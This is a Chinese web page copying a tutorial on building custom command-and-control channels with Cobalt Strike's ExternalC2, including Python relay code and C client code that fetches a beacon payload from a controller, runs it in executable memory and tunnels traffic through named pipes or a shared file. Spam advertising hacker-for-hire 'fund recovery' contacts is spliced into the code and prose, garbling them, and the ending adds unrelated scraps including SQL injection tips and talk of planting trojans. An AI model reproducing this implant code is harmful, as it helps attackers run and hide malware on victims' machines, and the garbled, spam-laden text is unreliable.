|
大户追款的qq号多少钱-一起探索Cobalt Strike的ExternalC2架构
很多测试工程师都了解,有时想如期完成C2通讯是十分受尽折磨的一件事情。伴随着出站服务器防火墙标准及其过程限定体制的健全,反弹式shell及其反弹式HTTP C2安全通道的日子早已一去不复返。
行吧,或许我的叙述稍微浮夸了一点,但如今态势确实沒有那麼开朗了。因而我想找寻完成C2通讯的别的可行方式,最终我找到了Cobalt Strike的ExternalC2架构。
求黑客技术的联系电话
二、ExternalC2
ExternalC2是Cobalt Strike导入的一种标准(或是架构),网络黑客能够运用这一作用扩展C2通讯方式,而不拘泥于默认设置出示的HTTP(S)/DNS/SMB安全通道。大伙儿能够参照这里免费下载详细的标准表明。
简单点来说,客户能够应用这一架构来开发设计各种各样部件,包含以下部件:
1、第三方操纵端(Controller):承担联接Cobalt Strike TeamServer,而且可以求黑客技术的联系电话应用自定的C2安全通道与总体目标服务器上的第三方手机客户端(Client)通讯。
2、第三方手机客户端(Client):应用自定C2安全通道与第三方Controller通讯,将指令分享至SMB Beacon。
3、SMB Beacon:在受害人服务器上实行的规范beacon。
从CS出示的官方网文本文档中,我们可以见到以下平面图:
从图中得知,大家的自定C2安全通道两边各自为第三方Controller及其第三方Client,这两个人物角色全是我们可以产品研发及其操纵的人物角色。
在鼓足干劲进到主题以前,大家必须了解怎样与Team Server的ExternalC2插口互动。
最先,大家必须让Cobalt Strike起动ExternalC2。我们可以应用externalc2_求黑客技术的联系电话start涵数,传到端口号主要参数就可以。一旦ExternalC2服务项目成功起动并一切正常运作,大家必须应用自定的协议书开展通讯。
这一协议书实际上比较简单直接,由4字节的长短字段名(低字节序)及其一个数据信息块所构成,以下所显示:
刚开始通讯时,第三方Controller与TeamServer建连,随后推送一些选择项,如:
1、arch:待应用的beacon的构架(x86或x64)。
2、pipename:用于与beacon通讯的管路(pipe)的名字。
3、block:TeamServer各每日任务中间的堵塞時间(以ms为企业)。
全部选择项推送结束后,Controller会推送一条 go命令。这条命令能够起动ExternalC2通讯,形成并推送beacon。Controller接着会将这一SMB 求黑客技术的联系电话 beacon荷载发送给Client,后面一种必须形成SMB beacon。
一旦在受害人服务器上形成了SMB beacon,大家就必须创建联接来传送指令。我们可以应用命名管道进行这一每日任务,而且Client与SMB Beacon所应用的通讯协议与Client及Controller中间的协议书完全一致,也是4字节的长短字段名(低字节序)再紧跟一段数据信息。
基础理论层面就这样,接下去我们可以举一个经典案例,在互联网中分享通讯数据信息。
三、经典案例
这一实例中,我们在服务器端应用Python来完成第三方Controller作用,在手机客户端应用C来完成第三方Client作用。
最先,应用以下句子,让Cobalt Strike开启ExternalC2:
# start the External C2 server and bind to 0.0.0.0:2222
externalc2_start(“0.0.0求黑客技术的联系电话.0“, 2222);
该句子实行结束后,ExternalC2会在0.0.0.0:2222监视要求。
如今ExternalC2早已起动并处在运作情况,我们可以来搭建自身的Controller。
最先,联接至TeamServer的ExternalC2插口:
_socketTS = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 求黑客技术的联系电话 socket.IPPROTO_IP)
_socketTS.connect((“127.0.0.1“, 2222))
联接创建取得成功后,大家必须推送选择项信息内容。我们可以搭建一些輔助涵数,测算4字节长短字段名值,那样就不用每一次手动式测算这一值:
def encodeFrame(data):
return struct.pack(“
求黑客技术的联系电话
def sendToTS(data):
_socketTS.sendall(encodeFrame(data))
接下去大家就可以应用这种輔助涵数来推送选择项:
# Send out config options
sendToTS(“arch=x86“)
sendToTS(“pipename=xpntest“)求黑客技术的联系电话
sendToTS(“block=500“)
sendToTS(“go“)
选择项推送结束后,Cobalt Strike就了解大家必须一个x86 SMB Beacon。除此之外,大家还必须恰当接纳数据信息,能够再建立一些輔助涵数,承担报文格式的编解码工作中,那样就无需每一次都去手动式编解码:
def decodeFrame(data):
len = struct.求黑客技术的联系电话unpack(“
body = data[4:]
return (len, body)
def recvFromTS():
data = ““
_len = _socketTS.recv(4)
l = struct.unpack(“
while len(data) < l:
求黑客技术的联系电话 data = _socketTS.recv(l - len(data))
return data
那样大家就可以应用以下句子接受原始记录:
data = recvFromTS()
接下去大家必须让第三方Client应用大家挑选的C2协议书与大家联接。这一事例中,大家的C2安全通道协议书应用的是同样的4字节的长短字段名数据文件文件格式。因而,大家必须建立一个socket,求黑客技术的联系电话便捷第三方Client联接回来:
_socketBeacon = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_IP)
_socketBeacon.bind((“0.0.0.0“, 8081))
_socketBeacon.listen(1)
_socketClient = 求黑客技术的联系电话 _socketBeacon.accept()[0]
接到联接后,大家进到循环系统收取和发送解决步骤,接纳来源于受害人服务器的数据信息,将数据信息分享至Cobalt Strike,随后接纳Cobalt Strike回到的数据信息,将其分享至受害人服务器:
while(True):
print “Sending %d bytes to beacon“ % len(data)
sendToBeacon(data)
data 求黑客技术的联系电话 = recvFromBeacon()
print “Received %d bytes from beacon“ % len(data)
print “Sending %d bytes to TS“ % len(data)
sendToTS(data)
data = recvFromTS(求黑客技术的联系电话)
print “Received %d bytes from TS“ % len(data)
请参照这里获得详细的编码。
Controller已结构结束,如今大家必须建立第三方Client。为了更好地建立起來便捷一些,我们可以应用 win32及其C来进行这一每日任务,那样就可以较便捷地应用Windows的原生态API。還是先讨论一下怎样建立輔助涵数,最先大家必须联接到第三方Controller,可求黑客技术的联系电话以应用WinSock2建立与Controller的TCP联接:
// Creates a new C2 controller connection for relaying commands
SOCKET createC2Socket(const char *addr, WORD port){
WSADATA wsd;
SOCKET sd;
SOCKADDR_IN 求黑客技术的联系电话 sin;
WSAStartup(0x0202, &wsd);
memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_port = htons(port);
sin.sin_addr.S_un.S_addr = inet_addr(addr);
sd = 求黑客技术的联系电话 socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
connect(sd, (SOCKADDR*)&sin, sizeof(sin));
return sd;
}
然后我们需要接收数据。这个过程与Python代码中的流程类似,可以通过长度字段的值来知道需要接收的数据长度:
// Receives data from 求网络黑客的联系方式 our C2 controller to be relayed to the injected beacon
char *recvData(SOCKET sd, DWORD *len) {
char *buffer;
DWORD bytesReceived = 0, totalLen = 0;
*len = 0;
recv(sd, (char 求网络黑客的联系方式 *)len, 4, 0);
buffer = (char *)malloc(*len);
if (buffer == NULL)
return NULL;
while (totalLen < *len) {
bytesReceived = recv(sd, buffer + totalLen, *len - totalLen, 0)求网络黑客的联系方式;
totalLen += bytesReceived;
}
return buffer;
}
与之前类似,我们需要将数据通过C2通道返回给Controller:
// Sends data to our C2 controller received from our injected beacon
void sendData(SOCKET 求网络黑客的联系方式 sd, const char *data, DWORD len) {
char *buffer = (char *)malloc(len + 4);
if (buffer == NULL):
return;
DWORD bytesWritten = 0, totalLen = 0;
*(DWORD *)buffer = 求网络黑客的联系方式 len;
memcpy(buffer + 4, data, len);
while (totalLen < len + 4) {
bytesWritten = send(sd, buffer + totalLen, len + 4 - totalLen, 0);
totalLen += bytesWritten;
}
free(buffer);
求网络黑客的联系方式 }
现在我们已经可以与Controller通信,接下来第一要务就是接收beacon载荷。载荷为x86或者x64载荷(具体架构由Controller发送给Cobalt Strike的选项所决定),在执行之前需要复制到内存中。比如,我们可以使用如下语句接收beacon载荷:
// Create a connection back to our C2 controller
SOCKET c2socket =求网络黑客的联系方式 createC2Socket(“192.168.1.65“, 8081);
payloadData = recvData(c2socket, &payloadLen);
在这个案例中,我们可以使用Win32的VirtualAlloc函数来分配一段可执行的内存空间,使用CreateThread来执行代码:
HANDLE threadHandle;
DWORD 求网络黑客的联系方式 threadId = 0;
char *alloc = (char *)VirtualAlloc(NULL, len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (alloc == NULL)
return;
memcpy(alloc, payload, len);
threadHandle 求网络黑客的联系方式 = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)alloc, NULL, 0, &threadId);
一旦SMB Beacon启动并处于运行状态,我们需要连接到beacon的命名管道,因此我们不断尝试连接至我们的\.pipexpntest管道(请注意:前面我们已经通过选项信息向Cobalt Strike传递了管道名称,SMB Beacon会使用这个名称来接收命令求网络黑客的联系方式):
// Loop until the pipe is up and ready to use
while (beaconPipe == INVALID_HANDLE_VALUE) {
// Create our IPC pipe for talking to the C2 beacon
Sleep(500);
beaconPipe = 求网络黑客的联系方式 connectBeaconPipe(“\\.\pipe\xpntest“);
}
连接成功后,我们可以进入数据收发循环处理流程:
while (true) {
// Start the pipe dance
payloadData = recvFromBeacon(beaconPipe, &payloadLen);
if (payloadLen == 0) break;
sendData(c2socket, payloadData, payloadLen);
free(payloadData);
payloadData = recvData(c2socket, &payloadLen);
if (payloadLen == 0) break;
sendToBeacon(beaconPipe, 求网络黑客的联系方式 payloadData, payloadLen);
free(payloadData);
}
基本步骤就这样,我们已经了解了创建ExternalC2服务的基本要素,大家可以参考此处获取完整的Client代码。
现在我们可以来看看更加有趣的东西。
四、通过文件传输C2数据
先回顾下创建自定义C2协议中我们需要控制哪些求网络黑客的联系方式元素:
从上图可知,我们需要重点关注第三方Controller以及Client之间传输的数据。还是回到之前那个例子,现在我们需要将这个过程变得更加有趣,那就是通过文件读写操作来传输数据。
为什么要费尽心思这么做呢?当我们身处Windows域环境中,所控制的主机只有非常有限的外连渠道(比如只能访问文件共享),这时候就需要用到这种方法。当某台主机(Internet 求网络黑客的联系方式 Connected Host)既能访问我们的C2服务器,也能通过SMB文件共享方式与受害主机建连时,我们可以将C2数据写入共享的某个文件,然后再穿过防火墙读取这些数据,这样就能运行我们的Cobalt Strike beacon。
整个流程如下所示:
上图中我们引入了一个附加的元素,可以将数据封装到文件中进行读写,并且也可以与第三方Controller通信。
与前面类似,这里Controller与“Internet Connected 求网络黑客的联系方式 Host”同样使用长度字段为4字节的协议来通信,因此我们不需要修改已有的Python版的Controller。
我们需要做的是将前面的Client分割成两个部分。第一部分在“Internet Connected Host”上运行,接收Controller发送的数据,将其写入某个文件中。第二部分在“Restricted Host”(受限主机)上运行,读取文件中的数据,生成SMB 求网络黑客的联系方式 Beacon,并将数据传递给这个beacon。
前面介绍过的部分这里就不再赘述了,我来介绍下实现文件传输的一种方法。
首先,我们需要创建承担通信功能的文件。这里我们可以使用CreateFileA函数,但需要确保使用FILE_SHARE_READ以及FILE_SHARE_WRITE选项。这样通道两端的Client就能同时读取并写入这个文件:
HANDLE openC2FileServer(const char *filepath) {
HANDLE handle;
handle = CreateFileA(filepath, 求网络黑客的联系方式 GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (handle == INVALID_HANDLE_VALUE)
printf(“Error opening file: %xn“, GetLastError());求网络黑客的联系方式
return handle;
}
接下来,我们需要将C2数据序列化封装到文件中,同时指定2个Client中哪个Client需要在什么时候处理数据。
我们可以使用一个简单的头部结构来完成这个任务,如下所示:
struct file_c2_header {
DWORD id;
DWORD 求网络黑客的联系方式 len;
};
头部中的id字段可以充当信号功能,我们根据这个字段了解哪个Client需要读取或写入数据。
再引入两个文件读取及写入函数,如下所示:
void writeC2File(HANDLE c2File, const char *data, DWORD len, int id) {
char *fileBytes = NULL;
DWORD bytesWritten = 求网络黑客的联系方式 0;
fileBytes = (char *)malloc(8 + len);
if (fileBytes == NULL)
return;
// Add our file header
*(DWORD *)fileBytes = id;
*(DWORD *)(fileBytes+4) = len;
memcpy(fileBytes 求网络黑客的联系方式 + 8, data, len);
// Make sure we are at the beginning of the file
SetFilePointer(c2File, 0, 0, FILE_BEGIN);
// Write our C2 data in
WriteFile(c2File, fileBytes, 8 + len, 求网络黑客的联系方式 &bytesWritten, NULL);
printf(“ Wrote %d bytesn“, bytesWritten);
}
char *readC2File(HANDLE c2File, DWORD *len, int expect) {
char header[8];
DWORD bytesRead 求网络黑客的联系方式 = 0;
char *fileBytes = NULL;
memset(header, 0xFF, sizeof(header));
// Poll until we have our expected id in the header
while (*(DWORD *)header != expect) {
SetFilePointer(c2File, 求网络黑客的联系方式 0, 0, FILE_BEGIN);
ReadFile(c2File, header, 8, &bytesRead, NULL);
Sleep(100);
}
// Read out the expected length from the header
*len = *(DWORD *)(header + 4);
fileBytes 求网络黑客的联系方式 = (char *)malloc(*len);
if (fileBytes == NULL)
return NULL;
// Finally, read out our C2 data
ReadFile(c2File, fileBytes, *len, &bytesRead, NULL);
printf(“ Read %d 求网络黑客的联系方式 bytesn“, bytesRead);
return 求网络黑客的联系方式 fileBytes;
}
上述代码中,我们将头部信息写入文件中,然后根据这个信息相应地读取或写入C2数据。
主要工作就是这样,接下来我们需要实现接收数据/写入数据/读取数据/发送数据循环逻辑,这样就能通过文件传输实现C2数据通信。
大家可以访问此处获取完整的Controller代码,演示视频如下所示:
http://v.youku.com/v_show/id_XMzUwNzMxOTIyNA==.html
首先不必太过慌张,但仍需要多加小心,并给出了以下的处理建议。1.基于安全的考虑,最好对涉及到的密码、支付方式等进行修改。2.为确保安全,用户也。大户追款的qq号是多少
黑客技术追款夫人你马甲又掉了。是程家太子爷!男主叫程隽!女主叫秦苒!
大户追款的qq号是多少简单讲是“DNS”劫持,也就是你上网后的所有访问都是通过非法的DNS服务器去解求网络黑客的联系方式析,你的所有上网信息包括账号和密码都会。
蜥蜴小组的受害者包括许多具有高知名度的网站,例如马来西亚航空公司网站,用户被重定向到一个显示了逗404-飞机没找到地的页面。而另一受害者Facebook则否认。
会,假如被抓到就是触犯刑法,会被判刑的.虽然很多人逍遥法院,但是点背的时候,就完了~抓机啊`?我送你几个啊~?我有4台服务器呢挂马啊~~要不就用3389扫弱口令我的服务器就是这么弄的要不就欺骗安装楼下的你是不是就会。大户追款的qq号是多少
带—玩—8求网络黑客的联系方式;9;4接着4;8;8;@;q;q;—稳—赢——高楼当此夜,叹息未应闲。
大户追款的qq号是多少判断注入一般是加\“然后用and1=1或者and1=2来判断真假也可以用or1=1or1=2判断真假的方式很灵活。国内的方法很死。建议多看点。
(责任编辑:网络) |
|